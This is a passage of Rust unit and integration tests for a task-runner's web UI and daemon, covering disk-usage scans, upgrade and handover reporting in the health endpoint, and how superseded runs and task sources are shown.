22880            let scans = duplicate_scans.clone();
22881            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22882                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22883                DiskCapacity::default()
22884            });
22885            assert_eq!(during.runs_bytes, Some(200));
22886            assert_eq!(during.cache_bytes, Some(400));
22887        }
22888        release.send(()).unwrap();
22889        wait_for_disk_scan(&state).await;
22890        let scans = duplicate_scans.clone();
22891        let after = DiskObservation::observe(&state, scope, move |_| {
22892            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22893            DiskCapacity::default()
22894        });
22895        wait_for_disk_scan(&state).await;
22896        assert_eq!(after.runs_bytes, Some(250));
22897        assert_eq!(after.free_bytes, Some(100));
22898        assert_eq!(after.cache_bytes, Some(400));
22899        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22900        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22901    }
22902
22903    #[tokio::test]
22904    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22905        let home = TempDir::new().unwrap();
22906        let old_scope = disk_test_scope(home.path());
22907        let mut new_scope = old_scope.clone();
22908        new_scope.cache = Some(home.path().join("replacement-cache"));
22909        let state = Arc::new(Mutex::new(DiskObservation {
22910            scope: Some(old_scope.clone()),
22911            capacity: known_disk_capacity(),
22912            ..Default::default()
22913        }));
22914        let (started, reached) = tokio::sync::oneshot::channel();
22915        let (release, blocked) = std::sync::mpsc::channel();
22916        DiskObservation::observe(&state, old_scope, move |_| {
22917            started.send(()).unwrap();
22918            blocked.recv().unwrap();
22919            known_disk_capacity()
22920        });
22921        tokio::time::timeout(Duration::from_secs(5), reached)
22922            .await
22923            .unwrap()
22924            .unwrap();
22925        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22926        let scans = duplicate_scans.clone();
22927        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22928            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22929            DiskCapacity::default()
22930        });
22931        assert!(changed.cache_bytes.is_none());
22932        assert!(changed.runs_bytes.is_none());
22933        release.send(()).unwrap();
22934        wait_for_disk_scan(&state).await;
22935        {
22936            let observation = state.lock().unwrap();
22937            assert!(observation.capacity.cache_bytes.is_none());
22938            assert!(observation.finished.is_none());
22939        }
22940        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22941            assert_eq!(scope, &new_scope);
22942            DiskCapacity {
22943                cache_bytes: Some(999),
22944                ..Default::default()
22945            }
22946        });
22947        wait_for_disk_scan(&state).await;
22948        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22949        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22950    }
22951
22952    #[tokio::test]
22953    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22954        let home = TempDir::new().unwrap();
22955        let scope = disk_test_scope(home.path());
22956        let state = Arc::new(Mutex::new(DiskObservation {
22957            scope: Some(scope.clone()),
22958            capacity: known_disk_capacity(),
22959            ..Default::default()
22960        }));
22961        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22962        wait_for_disk_scan(&state).await;
22963        {
22964            let mut observation = state.lock().unwrap();
22965            assert_eq!(observation.capacity.cache_bytes, Some(400));
22966            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22967            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22968        }
22969        DiskObservation::observe(&state, scope, |_| DiskCapacity {
22970            cache_bytes: Some(450),
22971            ..Default::default()
22972        });
22973        wait_for_disk_scan(&state).await;
22974        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22975    }
22976
22977    #[test]
22978    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22979        let home = TempDir::new().unwrap();
22980        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22981        assert_eq!(disk_capacity_size(home.path()), Some(0));
22982        std::fs::create_dir(home.path().join("nested")).unwrap();
22983        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22984        assert_eq!(disk_capacity_size(home.path()), Some(5));
22985        #[cfg(unix)]
22986        {
22987            // Unix distinguishes an invalid descendant lookup from absence.
22988            assert_eq!(
22989                disk_capacity_size(&home.path().join("nested/data/child")),
22990                None
22991            );
22992        }
22993        #[cfg(unix)]
22994        {
22995            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22996            assert_eq!(disk_capacity_size(home.path()), Some(5));
22997        }
22998    }
22999
23000    #[tokio::test]
23001    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23002        // `mode = "off"` for the same reason as the test above: a default
23003        // fixture repo falls back to `mode = "notify"`, which would make this
23004        // route's new `update` field a live, unauthenticated GitHub call on
23005        // every assertion in this suite that happens to hit `/api/health`.
23006        let repo = TempDir::new().expect("repo dir");
23007        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23008            .expect("write magi.toml");
23009        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23010
23011        let health = fx.get("/api/health").await.json();
23012        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23013        assert_eq!(
23014            health["update"]["available"], false,
23015            "checking is off, which reads as \"unknown\", not \"none\""
23016        );
23017        assert!(health["update"]["to"].is_null());
23018        assert!(
23019            health["upgrade"].is_null(),
23020            "nothing has ever asked this deck to upgrade"
23021        );
23022    }
23023
23024    #[tokio::test]
23025    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23026        let fx = Fixture::start().await;
23027        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23028
23029        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23030        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23031        progress.advance(crate::updater::Stage::Parking);
23032        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23033
23034        let health = fx.get("/api/health").await.json();
23035        assert_eq!(health["upgrade"]["stage"], "parking");
23036        assert_eq!(health["upgrade"]["from"], "0.5.1");
23037        assert_eq!(health["upgrade"]["to"], "0.5.2");
23038        let waiting_on = health["upgrade"]["waiting_on"]
23039            .as_str()
23040            .expect("waiting_on is set while parking a known run");
23041        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23042        assert!(waiting_on.contains("implementing"), "{waiting_on}");
23043    }
23044
23045    #[tokio::test]
23046    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23047        let fx = Fixture::start().await;
23048        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23049        progress.advance(crate::updater::Stage::Done);
23050        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23051
23052        let health = fx.get("/api/health").await.json();
23053        assert_eq!(health["upgrade"]["stage"], "done");
23054        assert!(
23055            health["upgrade"]["waiting_on"].is_null(),
23056            "nothing to wait on once it is done"
23057        );
23058    }
23059
23060    /// The handover signal is seen however the race falls, and wakes its one
23061    /// waiter once per signal - nothing here can spin.
23062    #[tokio::test]
23063    async fn the_handover_signal_wakes_one_waiter_once() {
23064        let signal = Notify::new();
23065        // Signalled before anyone waits: the stored permit is not lost.
23066        signal.notify_one();
23067        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23068            .await
23069            .expect("an early signal is still seen");
23070        // One signal, one wake-up: a second wait does not resolve by itself.
23071        assert!(
23072            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23073                .await
23074                .is_err(),
23075            "a consumed signal must not wake a second time"
23076        );
23077        // Signalled while waiting.
23078        let signal = std::sync::Arc::new(signal);
23079        let waiter = tokio::spawn({
23080            let signal = std::sync::Arc::clone(&signal);
23081            async move { wait_for_handover(&signal).await }
23082        });
23083        tokio::time::sleep(Duration::from_millis(20)).await;
23084        assert!(!waiter.is_finished(), "nothing was signalled yet");
23085        signal.notify_one();
23086        tokio::time::timeout(Duration::from_secs(5), waiter)
23087            .await
23088            .expect("a late signal wakes the waiter")
23089            .expect("join");
23090    }
23091
23092    #[tokio::test]
23093    async fn health_says_how_long_a_handover_has_been_stuck() {
23094        let fx = Fixture::start().await;
23095        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23096        progress.advance(crate::updater::Stage::Replaced);
23097        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23098        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23099
23100        let health = fx.get("/api/health").await.json();
23101        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23102        assert!(stuck >= 600, "{stuck}");
23103        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23104        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23105    }
23106
23107    #[tokio::test]
23108    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23109        let home = tempfile::tempdir().expect("temp home");
23110        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23111        progress.advance(crate::updater::Stage::Parking);
23112        crate::updater::write_progress(home.path(), &progress).expect("seed");
23113        // What the second upgrade_and_restart and its handler do.
23114        let mut again = progress.clone();
23115        again.advance(crate::updater::Stage::Replaced);
23116        crate::updater::write_progress(home.path(), &again).expect("replaced");
23117        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23118        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23119        let after = crate::updater::read_progress(home.path()).expect("record");
23120        assert_eq!(after.stage, crate::updater::Stage::Parking);
23121    }
23122
23123    #[tokio::test]
23124    async fn health_does_not_call_a_live_parking_wait_stuck() {
23125        let fx = Fixture::start().await;
23126        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23127        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23128        progress.advance(crate::updater::Stage::Parking);
23129        let hours = Duration::from_secs(3 * 3600);
23130        progress.started_at = Timestamp::now() - hours;
23131        progress.updated_at = Timestamp::now() - hours;
23132        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23133        let _lease = crate::updater::LeaseGuard::enter(
23134            fx.home.path(),
23135            Some("20260905-000000-cd51".to_owned()),
23136        );
23137
23138        let health = fx.get("/api/health").await.json();
23139        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23140        assert!(health["upgrade"]["stuck_kind"].is_null());
23141        assert_eq!(health["upgrade"]["handover_alive"], true);
23142        let waiting_on = health["upgrade"]["waiting_on"]
23143            .as_str()
23144            .expect("waiting_on");
23145        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23146    }
23147
23148    fn idle_ui(home: &TempDir) -> Ui {
23149        let runs = home.path().join("runs");
23150        std::fs::create_dir_all(&runs).expect("runs dir");
23151        Ui::new(
23152            Queue::at(home.path().join("queue")),
23153            Questions::at(home.path().join("questions")),
23154            Talks::at(home.path().join("talks")),
23155            runs,
23156            home.path().to_path_buf(),
23157            PathBuf::from("/repo/magi"),
23158        )
23159        .with_launch(launch_idle)
23160    }
23161
23162    #[tokio::test]
23163    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23164        let home = TempDir::new().expect("temp home");
23165        let ui = idle_ui(&home);
23166        let lease = crate::worker::try_lease(home.path(), "scheduler")
23167            .expect("scheduler lease")
23168            .expect("free");
23169        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23170            .expect("request stop");
23171        let error = ui
23172            .start_detached_loop()
23173            .await
23174            .expect_err("transition is still live");
23175        assert_eq!(error.status, StatusCode::CONFLICT);
23176        assert!(error.message.contains("still running or stopping"));
23177        assert_eq!(
23178            crate::worker::control(home.path(), "scheduler").unwrap(),
23179            Some(crate::worker::Control::Stop)
23180        );
23181        drop(lease);
23182    }
23183
23184    #[tokio::test]
23185    async fn handover_releases_listener_without_waiting_for_execution_leases() {
23186        let home = TempDir::new().expect("temp home");
23187        let ui = idle_ui(&home);
23188        let turns = ui
23189            .begin_talk_turn("active-chat")
23190            .expect("claim")
23191            .expect("free");
23192        let execution = crate::worker::try_lease(home.path(), "active-task")
23193            .expect("execution lease")
23194            .expect("free");
23195        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23196            .await
23197            .expect("bind loopback");
23198        let address = listener.local_addr().expect("address");
23199        let admissions = Arc::clone(&ui.admissions);
23200        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23201        let successor_started = std::sync::atomic::AtomicBool::new(false);
23202        tokio::time::timeout(
23203            Duration::from_secs(2),
23204            hand_over(home.path(), &admissions, served, || {
23205                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23206                Ok(1)
23207            }),
23208        )
23209        .await
23210        .expect("restart must not wait for execution")
23211        .expect("handover");
23212        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23213        // BSD may retain the address briefly after listener release. The real
23214        // successor uses the same bounded bind retry rather than a one-shot bind.
23215        let successor = bind_waiting(address)
23216            .await
23217            .expect("successor binds released address");
23218        assert_eq!(successor.local_addr().unwrap(), address);
23219        assert!(turns.owns(), "the chat lease survives restart");
23220        assert!(
23221            crate::worker::try_lease(home.path(), "active-task")
23222                .unwrap()
23223                .is_none()
23224        );
23225        drop(execution);
23226        drop(turns);
23227    }
23228
23229    #[tokio::test]
23230    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23231        let home = TempDir::new().expect("temp home");
23232        let ui = idle_ui(&home);
23233        let admission = ui.begin_admission().expect("admit send");
23234        let turn = ui
23235            .begin_talk_turn("active-chat")
23236            .expect("claim")
23237            .expect("free");
23238        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23239            .await
23240            .expect("bind loopback");
23241        let address = listener.local_addr().expect("address");
23242        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23243        let successor_called = std::sync::atomic::AtomicBool::new(false);
23244        let handover = hand_over(home.path(), &ui.admissions, served, || {
23245            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23246            Ok(1)
23247        });
23248        tokio::pin!(handover);
23249        // Poll exactly to the writer waiting on our admission guard. This
23250        // pins the race without sleeps or assumptions about task scheduling.
23251        std::future::poll_fn(|cx| {
23252            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23253            std::task::Poll::Ready(())
23254        })
23255        .await;
23256        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23257        assert!(
23258            ui.begin_admission().is_err(),
23259            "new ingress cannot race the drain"
23260        );
23261        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23262        drop(admission);
23263        tokio::time::timeout(Duration::from_secs(2), handover)
23264            .await
23265            .expect("only publication may delay restart")
23266            .expect("handover");
23267        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23268        assert!(
23269            turn.owns(),
23270            "the detached chat turn is not awaited or cancelled"
23271        );
23272        assert!(
23273            ui.begin_admission().is_err(),
23274            "old accepted connections stay closed"
23275        );
23276        drop(turn);
23277    }
23278
23279    #[test]
23280    fn health_worker_metadata_never_contains_payload_or_result() {
23281        let view = WorkerView::from(crate::worker::Job {
23282            id: "job".into(),
23283            sequence: 1,
23284            kind: "service".into(),
23285            key: "maintenance".into(),
23286            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23287            generation: "generation".into(),
23288            version: Some("1.2.3".into()),
23289            status: crate::worker::Status::Running,
23290            result: Some("private diagnostics".into()),
23291            pid: Some(4242),
23292            created_at: 1,
23293            finished_at: None,
23294        });
23295        let value = serde_json::to_value(view).expect("serialize public metadata");
23296        assert_eq!(value["version"], "1.2.3");
23297        assert_eq!(value["pid"], 4242);
23298        assert!(value.get("payload").is_none());
23299        assert!(value.get("result").is_none());
23300        assert!(!value.to_string().contains("private"));
23301    }
23302
23303    #[test]
23304    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23305        let home = TempDir::new().expect("temp home");
23306        let ui = idle_ui(&home);
23307        std::fs::write(
23308            home.path().join("daemon.json"),
23309            serde_json::json!({
23310                "schema": 2, "pid": 4242, "worker_protocol": 1,
23311                "updated_at": Timestamp::now().to_string(), "idle": true,
23312            })
23313            .to_string(),
23314        )
23315        .expect("status");
23316        let reading = daemon::read_status(home.path());
23317        assert!(Foreign::of(reading.as_ref()).is_none());
23318        let view = ui.runtime_loop_view(reading, &[]);
23319        assert!(view.running);
23320        assert!(view.owned);
23321    }
23322
23323    #[test]
23324    fn only_an_explicit_one_requests_a_resume() {
23325        assert!(!resume_requested(None));
23326        assert!(!resume_requested(Some("0".into())));
23327        assert!(!resume_requested(Some("".into())));
23328        assert!(resume_requested(Some("1".into())));
23329    }
23330
23331    #[test]
23332    fn an_error_is_visible_from_where_the_button_is() {
23333        // The alert used to sit in the flow under the header. On a phone
23334        // scrolled 13 500 px down to a run's action sheet that is off screen,
23335        // so tapping Resume and being told "the loop is running run b455
23336        // right now" looked exactly like a button that did nothing.
23337        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23338            ..APP_CSS.find(".alert-text").expect(".alert-text")];
23339        assert!(
23340            alert.contains("position: fixed"),
23341            "an error about the thing under your thumb has to be visible from \
23342             where your thumb is: {alert}"
23343        );
23344        assert!(
23345            alert.contains("z-index: 25"),
23346            "above the dock (20) and the run-actions FAB (15), so neither \
23347             buries it: {alert}"
23348        );
23349        assert!(
23350            alert.contains("var(--tap)"),
23351            "and clear of the dock and the home indicator: {alert}"
23352        );
23353        // The FAB sits at the same height on the right. An error that covered
23354        // it would hide the button the operator reaches for next.
23355        assert!(
23356            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23357            "the FAB's column stays free: {alert}"
23358        );
23359    }
23360
23361    #[tokio::test]
23362    async fn an_older_attempt_says_what_replaced_it() {
23363        let fx = Fixture::start().await;
23364        let q = fx.queue();
23365        let runs = fx.runs();
23366        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23367        write_run(&runs, first, RunStatus::Stalled);
23368        write_run(&runs, second, RunStatus::Blocked);
23369
23370        let mut t = Task::new(
23371            "one task".to_owned(),
23372            "do it".to_owned(),
23373            PathBuf::from("/repo"),
23374            Source::Human,
23375        );
23376        t.runs = vec![first.to_owned(), second.to_owned()];
23377        q.put(&mut t).expect("put");
23378
23379        // Two cards with the same title and no hint which is which was the
23380        // question: "why are there two of the same, one stalled and one
23381        // blocked?" The older one now names its replacement.
23382        let rows = fx.get("/api/runs").await.json();
23383        let by = |short: &str| -> Value {
23384            rows.as_array()
23385                .unwrap()
23386                .iter()
23387                .find(|r| r["short"] == short)
23388                .cloned()
23389                .unwrap_or(Value::Null)
23390        };
23391        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23392        assert!(
23393            by("bbbb")["superseded_by"].is_null(),
23394            "the latest attempt is not superseded by anything"
23395        );
23396        // Front end: the note has to be rendered, not just carried.
23397        assert!(APP_JS.contains("run.superseded_by"));
23398        assert!(APP_JS.contains("Superseded by"));
23399    }
23400
23401    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23402        let mut t = Task::new(
23403            "one task".to_owned(),
23404            "do it".to_owned(),
23405            PathBuf::from("/repo"),
23406            Source::Human,
23407        );
23408        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23409        t.status = status;
23410        t
23411    }
23412
23413    #[test]
23414    fn source_link_picks_the_page_that_filed_the_task() {
23415        let agent = |node: &str| Source::Agent {
23416            run: "20260904-014455-ab12".to_owned(),
23417            node: node.to_owned(),
23418        };
23419        let chat = source_link(&agent("chat")).expect("chat link");
23420        assert_eq!(chat.kind, "chat");
23421        assert_eq!(chat.id, "20260904-014455-ab12");
23422        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23423        let run = source_link(&agent("implement")).expect("run link");
23424        assert_eq!(
23425            (run.kind, run.href.as_str()),
23426            ("run", "#/runs/20260904-014455-ab12")
23427        );
23428        assert_eq!(source_link(&Source::Human), None);
23429        assert_eq!(
23430            source_link(&Source::Issue {
23431                number: 3,
23432                repo: "o/r".to_owned()
23433            }),
23434            None
23435        );
23436        let odd = source_link(&Source::Agent {
23437            run: "a b/c".to_owned(),
23438            node: "chat".to_owned(),
23439        })
23440        .expect("link");
23441        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23442    }
23443
23444    #[test]
23445    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23446        assert!(
23447            !APP_JS.contains("src.node === \"chat\""),
23448            "inline href rule is back"
23449        );
23450        assert!(
23451            APP_JS.matches("sourceLinkOf(").count() >= 4,
23452            "helper must serve every page"
23453        );
23454        assert!(
23455            APP_JS.matches("openChatLink(").count() >= 3,
23456            "the run page still needs its explicit chat link"
23457        );
23458        assert!(
23459            !APP_JS.contains("const openChat = el("),
23460            "the Queue card duplicates its source label link again"
23461        );
23462        assert!(
23463            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23464            "the task page must link a chat source label too"
23465        );
23466    }
23467
23468    #[test]
23469    fn task_ref_carries_the_source_link_for_a_chat_task() {
23470        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23471        t.source = Source::Agent {
23472            run: "20260904-014455-ab12".to_owned(),
23473            node: "chat".to_owned(),
23474        };
23475        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23476        let v = serde_json::to_value(&out).expect("json");
23477        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23478        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23479        assert_eq!(v["source_label"], t.source.label());
23480
23481        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23482        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23483            .expect("json");
23484        assert!(v["source_link"].is_null(), "{v}");
23485    }
23486
23487    #[test]
23488    fn task_view_serializes_source_link() {
23489        let mut t = Task::new(
23490            "t".to_owned(),
23491            "t".to_owned(),
23492            PathBuf::from("/repo"),
23493            Source::Agent {
23494                run: "20260901-000000-aaaa".to_owned(),
23495                node: "implement".to_owned(),
23496            },
23497        );
23498        t.runs.clear();
23499        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23500        assert_eq!(v["source_link"]["kind"], "run", "{v}");
23501        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23502    }
23503
23504    #[test]
23505    fn task_view_serializes_urgent_flag() {
23506        let mut t = Task::new(
23507            "t".to_owned(),
23508            "t".to_owned(),
23509            PathBuf::from("/repo"),
23510            Source::Human,
23511        );
23512        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23513        assert_eq!(v["urgent"], false, "{v}");
23514        t.urgent = true;
23515        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23516        assert_eq!(v["urgent"], true, "{v}");
23517        assert!(APP_JS.contains("task.urgent === true"));
23518    }
23519
23520    #[tokio::test]
23521    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23522        let fx = Fixture::start().await;
23523        let runs = fx.runs();
23524        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23525        write_run(&runs, old, RunStatus::Blocked);
23526        write_run(&runs, new, RunStatus::Merged);
23527        let mut t = outcome_task(&[old, new], TaskStatus::Done);
23528        fx.queue().put(&mut t).expect("put");
23529
23530        let view = fx.get(&format!("/api/runs/{old}")).await.json();
23531        let task = &view["task"];
23532        assert_eq!(task["status"], "done");
23533        assert_eq!(task["is_latest"], false);
23534        assert_eq!(task["latest"]["short"], "bbbb");
23535        assert_eq!(task["finished_by"]["id"], new);
23536        assert_eq!(task["finished_by"]["outcome"], "merged");
23537        assert_eq!(task["closed_by_hand"], false);
23538        assert_eq!(view["status"], "blocked", "the run keeps its own status");
23539        assert!(APP_JS.contains("finished_by"));
23540        assert!(APP_JS.contains("superseded by run"));
23541    }
23542
23543    #[tokio::test]
23544    async fn the_latest_run_reports_a_held_task_without_a_successor() {
23545        let fx = Fixture::start().await;
23546        let runs = fx.runs();
23547        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23548        write_run(&runs, old, RunStatus::Stalled);
23549        write_run(&runs, new, RunStatus::Blocked);
23550        let mut t = outcome_task(&[old, new], TaskStatus::Held);
23551        fx.queue().put(&mut t).expect("put");
23552
23553        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23554        assert_eq!(task["status"], "held");
23555        assert_eq!(task["is_latest"], true);
23556        assert!(task["latest"].is_null());
23557        assert!(task["finished_by"].is_null());
23558        assert_eq!(task["closed_by_hand"], false);
23559    }
23560
23561    #[tokio::test]
23562    async fn a_direct_run_has_no_task_outcome() {
23563        let fx = Fixture::start().await;
23564        let runs = fx.runs();
23565        let id = "20260901-000000-aaaa";
23566        write_run(&runs, id, RunStatus::Blocked);
23567        let view = fx.get(&format!("/api/runs/{id}")).await.json();
23568        assert!(view["task"].is_null());
23569    }
23570
23571    #[test]
23572    fn task_outcome_does_not_guess_a_finishing_run() {
23573        let a = "20260901-000000-aaaa";
23574        let b = "20260901-000000-bbbb";
23575        let c = "20260901-000000-cccc";
23576        let dir = tempfile::tempdir().expect("tempdir");
23577        write_run(dir.path(), a, RunStatus::Blocked);
23578        write_run(dir.path(), b, RunStatus::VerifiedNoop);
23579        // `c` has no record: unreadable.
23580        let read = |id: &str| read_run(dir.path(), id).ok();
23581        // Neither a blocked run nor a no-op finished the task; the newest run is
23582        // unreadable and still named.
23583        let t = outcome_task(&[a, b, c], TaskStatus::Done);
23584        let out = task_outcome(&t, a, 3, read);
23585        assert!(out.finished_by.is_none());
23586        assert!(out.closed_by_hand);
23587        let latest = out.latest.expect("latest");
23588        assert_eq!(latest.id, c);
23589        assert_eq!(latest.status, None);
23590        assert_eq!(latest.outcome, "record unreadable");
23591
23592        // A Ready run settles the task as done, so it is named as the finisher.
23593        write_run(dir.path(), c, RunStatus::Ready);
23594        let t = outcome_task(&[a, c], TaskStatus::Done);
23595        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23596        assert_eq!(out.finished_by.expect("finisher").id, c);
23597        assert!(!out.closed_by_hand);
23598
23599        // A resumed run id repeats: it is still the latest by id.
23600        let t = outcome_task(&[a, b, a], TaskStatus::Held);
23601        assert!(task_outcome(&t, a, 3, read).is_latest);
23602    }
23603
23604    #[tokio::test]
23605    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23606        // The list route has known this since the card fix above; the detail
23607        // route — what an operator actually opens from a notification about
23608        // a blocked run — did not, and went on showing a bare red BLOCKED
23609        // chip for a run a retry had already finished.
23610        let fx = Fixture::start().await;
23611        let q = fx.queue();
23612        let runs = fx.runs();
23613        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23614        write_run(&runs, first, RunStatus::Blocked);
23615        write_run(&runs, second, RunStatus::Merged);
23616
23617        let mut t = Task::new(
23618            "one task".to_owned(),
23619            "do it".to_owned(),
23620            PathBuf::from("/repo"),
23621            Source::Human,
23622        );
23623        t.runs = vec![first.to_owned(), second.to_owned()];
23624        q.put(&mut t).expect("put");
23625
23626        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23627        assert_eq!(earlier["superseded_by"], "dddd");
23628        assert_eq!(earlier["latest_attempt"]["id"], second);
23629        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23630        assert_eq!(
23631            earlier["latest_attempt"]["resolved"], true,
23632            "the run that replaced it landed, so this one reads as settled"
23633        );
23634
23635        let later = fx.get(&format!("/api/runs/{second}")).await.json();
23636        assert!(
23637            later["superseded_by"].is_null(),
23638            "the latest attempt is not superseded by anything"
23639        );
23640        assert!(
23641            later["latest_attempt"].is_null(),
23642            "the latest attempt has no later attempt of its own"
23643        );
23644
23645        // Front end: the detail page has to read the field this route now
23646        // carries, downgrade the chip, and link to the run that replaced it —
23647        // not just repeat the list card's own logic under a different name.
23648        // The link is built off `latest_attempt.id`, the server-resolved
23649        // full id, never a bare short string a client would have to guess a
23650        // full run from.
23651        assert!(APP_JS.contains("run.latest_attempt"));
23652        assert!(APP_JS.contains("data-superseded"));
23653        assert!(APP_JS.contains("#/runs/${latest.id}"));
23654    }
23655
23656    #[tokio::test]
23657    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23658        // A -> B -> C, all Blocked except the last. A's immediate successor
23659        // (superseded_by) is B, which is itself unresolved; what an operator
23660        // opening A's page actually needs is where the task's story stands
23661        // *now* - C, not B - without depending on whether C happens to be in
23662        // whatever page of /api/runs the client last cached.
23663        let fx = Fixture::start().await;
23664        let q = fx.queue();
23665        let runs = fx.runs();
23666        let (a, b, c) = (
23667            "20260901-000000-aaaa",
23668            "20260901-000000-bbbb",
23669            "20260901-000000-cccc",
23670        );
23671        write_run(&runs, a, RunStatus::Blocked);
23672        write_run(&runs, b, RunStatus::Blocked);
23673        write_run(&runs, c, RunStatus::Merged);
23674
23675        let mut t = Task::new(
23676            "retried twice".to_owned(),
23677            "do it".to_owned(),
23678            PathBuf::from("/repo"),
23679            Source::Human,
23680        );
23681        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23682        q.put(&mut t).expect("put");
23683
23684        let view = fx.get(&format!("/api/runs/{a}")).await.json();
23685        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23686        assert_eq!(
23687            view["latest_attempt"]["id"], c,
23688            "the chain's current head, not the intermediate Blocked retry"
23689        );
23690        assert_eq!(view["latest_attempt"]["resolved"], true);
23691
23692        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23693        assert_eq!(mid["latest_attempt"]["id"], c);
23694        assert_eq!(mid["latest_attempt"]["resolved"], true);
23695    }
23696
23697    #[tokio::test]
